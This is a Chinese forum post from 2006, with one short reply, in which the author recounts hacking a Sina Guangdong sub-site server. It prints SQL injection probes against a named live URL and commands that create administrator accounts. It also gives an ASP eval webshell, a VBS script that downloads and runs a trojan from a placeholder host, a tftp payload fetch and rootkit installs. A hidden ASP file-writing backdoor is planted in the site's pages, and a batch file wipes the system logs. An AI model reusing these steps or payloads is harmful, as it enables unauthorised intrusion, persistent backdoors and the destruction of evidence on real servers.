服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2006-3-20 23:52:46

入侵新浪分站服务器实战(详解)

<FONT size=2>前段时间听说sohu的一个分站被人黑了我还看了,是真的。所以我也对这种门户网站动动手,我上了</FONT><A href="http://www.sina.com.cn/" target=_blank><FONT color=#000000 size=2>www.sina.com.cn</FONT></A><FONT size=2>,<BR>又跑到了它的广东分站。东西太多了,找个注入点也很难,大多是html,shtml的页面。于是我查看源文件,搜索asp.<BR>总算找到了一个可以asp的页面,找到了一个注入点</FONT><A href="http://gzguide.gd.sina.com.cn/news/newdetail.asp?id=2807" target=_blank target=_blank><FONT color=#000000 size=2>http://gzguide.gd.sina.com.cn/news/newdetail.asp?id=2807</FONT></A><BR><FONT size=2>提交单引号,<BR>Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' <BR>字符串 '' 之前有未闭合的引号。 <BR>/news/newdetail.asp,行 5 <BR>提交 and 1=1 返回正常,提交and 1=2 出错。呵呵,典型的注入漏洞。<BR>and 1=(select%20@@VERSION) 返回结果表明是sql2000的,windows2000的服务器<BR>and 'SA'=(SELECT%20System_user),返回错误,看来不是sa帐号连接<BR>and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')<BR>返回正常,表明xp_cmdshell存在<BR>手工注入太麻烦,用nbsi吧,想到nbsi老发生意外出错,用教主的HDSI吧,它还支持php注入呢!结果出来了,显示连接帐号为dbo,SA权限,这下好了。因为权限比较高,所以用HDSI能够直接执行系统命令,省得在浏览器里面用xp_cmdshell执行。<BR>如图01执行ipcongfig -all命令,看了一下ip,确定sql数据库和网站是在同一台机子上。用net start命令看了一下,<BR>有诺顿,serv-u,sql,终端服务也开了。先加个帐户。<BR>net user zuoai /add, net localgroup administrator zuoai /add<BR>再执行net start telnet. 先连它的终端试试,这个我只抱着40%的希望。可喜的是能连上去,可是当我输入<BR>帐号和密码后出现如下提示框。<BR>图1<BR>guest$虽然是管理员权限,却没有远程登陆的权限。<BR>再试试telnet,这个我只抱着20%的希望,果然,出现“正在连接到211.155.23.118...无法打开到主机的连接 <BR>在端口 23 : 连接失败”,这种错误很常见,可能是由于telnet服务没有成功开启或者_blank"&gt;防火墙屏<BR>蔽了对23端口的访问,这里应该属于前面一种情况!那就试试ipc连接吧,<BR>,发生错误53,这种错误一般是自己的lanmanworkstation服务未启动或者目标删除了ipc$,这里应该属于前面一种情况。<BR>现在我关键是把木马传上去,怎么办呢?得到webshell,再上传图片,得到webshell。<BR>用HDSI把所有的表都猜出来了,实在太多了,根本找不到管理员密码在哪个表里面。于是跨库查询,看到了一个bbs库,一个leadbbs2的库。<BR>我立刻访问</FONT><A href="http://gzguide.gd.sina.com.cn/bbs" target=_blank target=_blank><FONT color=#000000 size=2>http://gzguide.gd.sina.com.cn/bbs</FONT></A><FONT size=2>,果然是个论坛,估计是他们自己开发的(后来才知道是leadbbs).<BR>我接着猜解bbs这个库,希望把管理员密码帐号都跑出来。希望不是md5加密的,如果用md5加密了的话就只好用updata把密码改为自己的了.<BR>再用HDSI猜后台地址,很快猜出来了,</FONT><A href="http://gzguide.gd.sina.com.cn/bbs/manage/default.asp" target=_blank target=_blank><FONT color=#000000 size=2>http://gzguide.gd.sina.com.cn/bbs/manage/default.asp</FONT></A><BR><FONT size=2>可是着个库里面还是没有重要东西。这个bbs应该对那个leadbbs2库,密码跑出来了,是md5加密的。<BR>如图02<BR>;update leadbbs2.dbo.leadbbs_User set pass='4621d373cade4e83' where username='admin';--,4621d373cade4e83是md5加密后的test.应试试帐号:admin,密码:test登陆却出现提示"此用户已经开启IP绑定访问,您无权使用此用户!".一阵狂晕,管理员登陆限制了ip!看来用这种办法得到webshell是不行了。<BR>其实现在可以先找到web的绝对路径后在HDSI中用echo写个小马上去,可是用echo的时候有写字符要用"^"来转义,比如写个冰狐浪子服务端要这样写<BR><BR>echo ^&lt;SCRIPT RUNAT=SERVER LANGUAGE=&#106avascript^&gt;try{eval^(Request.form^('guest'^)+''^)}catch^(e^){}^&lt;/SCRIPT^&gt; &gt;c:\test.asp<BR><BR>但是在nbsi这样的工具的命令行中来执行很容易出错,在浏览器用;exec master.dbo.xp_cmdshell 'command'执行的时候转义更麻烦。<BR>于是又想到一种办法,就是写个下载指定地址的木马的脚本如下:<BR>echo iLocal = LCase^(WScript.Arguments^(1^)^) &gt;c:\vbs.vbs<BR>echo iRemote = LCase^(WScript.Arguments^(0^)^) &gt;&gt;c:\vbs.vbs<BR>echo Set xPost = CreateObject^("Microsoft.XMLHTTP"^) &gt;&gt;c:\vbs.vbs<BR>echo xPost.Open "GET",iRemote,0 &gt;&gt;c:\vbs.vbs<BR>echo xPost.Send^(^) &gt;&gt;c:\vbs.vbs<BR>echo Set sGet = CreateObject^("ADODB.Stream"^) &gt;&gt;c:\vbs.vbs<BR>echo sGet.Mode = 3 &gt;&gt;c:\vbs.vbs<BR>echo sGet.Type = 1 &gt;&gt;c:\vbs.vbs<BR>echo sGet.Open^(^) &gt;&gt;c:\vbs.vbs<BR>echo sGet.Write^(xPost.responseBody^) &gt;&gt;c:\vbs.vbs<BR>echo sGet.SaveToFile iLocal,2 &gt;&gt;c:\vbs.vbs<BR>这样就写到c盘根目录的vbs.vbs文件中去了,接着用这句话执行:<BR>c:\vbs.vbs </FONT><A href="http://xxx.com/muma.exe" target=_blank target=_blank><FONT color=#000000 size=2>http://xxx.com/muma.exe</FONT></A><FONT size=2> c:\hehe.exe<BR>这个方法可是很有效的哦,不过nbsi直接在nbsi或者其它注入工具命令行执行的时候会发生异常,自己在本机测试的时候一切正常,可是在nbsi中执行的时候二句以后的每句话都会被写入两次,极为郁闷,估计是nbsi运行原理不一样吧,谁知道这个问题怎么解决希望不吝赐教哦!如果在浏览器里面用xp_cmdshell执行,不过还要考虑“%,&amp;"等字符,这些字符在asp里面会用到,所以要使用编码。<BR>正郁闷着,忽然想到还有最简单直接的tftp还没用呢,在HDSI的命令行里执行tftp -i myip get 3721.exe c:\3721.exe,谢天谢地,我这边的tftp有反映了。<BR>如图2 <BR><BR><BR>其实很多时候,即使我们得到了webdhell,用serv_u本地溢出或者sql什么的提升权限加了系统帐号,运行了木马。由于别人的服务器搞了ip安全策略,端口映射,边界路由阻隔,_blank"&gt;防火墙拦截等等,还是会有无法控制服务器的时候。呵呵,我就曾经入侵了几个大型网站,配置很bt,一直搞到现在还没搞定它的服务器!<BR>好了,终于传完了,在HDSI的命令行里面执行c:\3721.exe,3721.exe是我自己配置好了的超级radmin服务端,注册为系统服务,端口为2046。再次感谢上帝,顺利的连上去了。马上屏幕监控看一下,好像锁定了,再用radmin直接控制,果然计算机处于锁定状态。<BR>如图3 <BR><BR>要求按ctrl+alt+del键再登陆,可是如果我按ctrl+alt+del,只会在自己机子上运行任务管理器,不能直接控制了。现在就得留后门了,万一管理员什么时候登陆服务器,命令行下netstat -an如果发现2046端口连到我机子上也许会发现这个后门。所以赶紧装几个隐蔽点的后门,先hacker's door,再hacker defender,直接用radmin的文件管理传上去,再用radmin的远程telnet执行,最后把我的pcshare也搞上去,我比较喜欢pcshare,因为它使用的是80端口,容易突破_blank"&gt;防火墙。 用radmin在它的盘里搜索,找到了网站的根目录,在D:\GZINFO下面。<BR>如图4 <BR><BR>还有其它的一些网页目录,也不知道是什么网站里面的,突然看到了有一个"服务器监视器"的软件,呵呵,下了readme文件,一看,"......五、网页监控 监视列表中选中的的网页是否能够打开。如果打不开除在本机上提醒外还可以发送手机短信提醒,并重启IIS服务。注意:修改设置时先关闭监控。<BR>六、文件监控 监视本机上的文件,在文件发生改变时通知管理员,如果设置了备份文件,软件会自动使用备份文件覆盖被监视文件."好厉害的东东哦!开机自动运行,而且自动锁定计算机。<BR><BR>接着把自己修改后的海洋顶端木马传上去。成功地得到了webshell。<BR>如图5 <BR><BR>再把下面这个下马插到它地几个asp文件里面,只有访问这几个页面是在后面加上?me=Guest$时,<BR>小马才会显现出来!比较可靠。<BR>&lt;% if request("me")="Guest" then %&gt;<BR>&lt;% dim objFSO %&gt;<BR>&lt;% dim fdata %&gt;<BR>&lt;% dim objCountFile %&gt;<BR>&lt;% on error resume next %&gt;<BR>&lt;% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %&gt;<BR>&lt;% if Trim(request("syfdpath"))&lt;&gt;"" then %&gt;<BR>&lt;% fdata = request("cyfddata") %&gt;<BR>&lt;% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %&gt;<BR>&lt;% objCountFile.Write fdata %&gt;<BR>&lt;% if err =0 then %&gt;<BR>&lt;% response.write "&lt;font color=red&gt;save Success!&lt;/font&gt;" %&gt;<BR>&lt;% else %&gt;<BR>&lt;% response.write "&lt;font color=red&gt;Save UnSuccess!&lt;/font&gt;" %&gt;<BR>&lt;% end if %&gt;<BR>&lt;% err.clear %&gt;<BR>&lt;% end if %&gt;<BR>&lt;% objCountFile.Close %&gt;<BR>&lt;% Set objCountFile=Nothing %&gt;<BR>&lt;% Set objFSO = Nothing %&gt;<BR>&lt;% Response.write "&lt;form action='' method=post&gt;" %&gt;<BR>&lt;% Response.write "保存&lt;font color=red&gt;路径(如D:\web\x.asp):&lt;/font&gt;" %&gt;<BR>&lt;% Response.Write "&lt;input type=text name=syfdpath width=32 size=50&gt;" %&gt;<BR>&lt;% Response.Write "&lt;br&gt;" %&gt;<BR>&lt;% Response.write "本文件" %&gt;<BR>&lt;% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %&gt;<BR>&lt;% Response.write "&lt;br&gt;" %&gt;<BR>&lt;% Response.write "内容:" %&gt;<BR>&lt;% Response.write "&lt;textarea name=cyfddata cols=80 rows=10 width=32&gt;&lt;/textarea&gt;" %&gt;<BR>&lt;% Response.write "&lt;input type=submit value=保存&gt;" %&gt;<BR>&lt;% Response.write "&lt;/form&gt;" %&gt;<BR>&lt;% end if %&gt;<BR>现在已经基本控制了服务器了,最后把所有地日志都删除了,一个批处理。<BR>@del c:\winnt\system32\logfiles\*.*<BR>@del c:\winnt\system32\config\*.evt<BR>@del c:\winnt\system32\dtclog\*.*<BR>@del c:\winnt\system32\*.log<BR>@del c:\winnt\system32\*.txt<BR>@del c:\winnt\*.txt<BR>@del c:\winnt\*.log<BR>@del c:\del.bat。<BR>现在就等着管理员登陆后findpass得到密码进3389了,再渗透它的内网。因为我还没找到一个好地嗅探软件,所以就没有装这个。<BR>到这里本文要结束了,其实也没有什么高深的技术,高手见笑了。其实入侵的时候会碰到各种各样的问题,能否解决这这些问题。是高手和菜鸟的本质区别!希望喜欢交流技术的朋友和我联系,我的qq是:394786341。</FONT>

zrg1130 发表于 2006-2-2 09:33:53

re:入侵新浪分站服务器实战(详解)

<P>斑竹不要笑我们这些菜鸟啊?</P>
<P>就是不懂才来学的嘛!!</P>
<P>请多多教教我们!</P>
<P>人多力量大!我会永远支持你们的</P>
<P>希望能和你们做朋友直到永远!</P>
<P>QQ:87256449</P>
页: [1]
查看完整版本: 入侵新浪分站服务器实战(详解)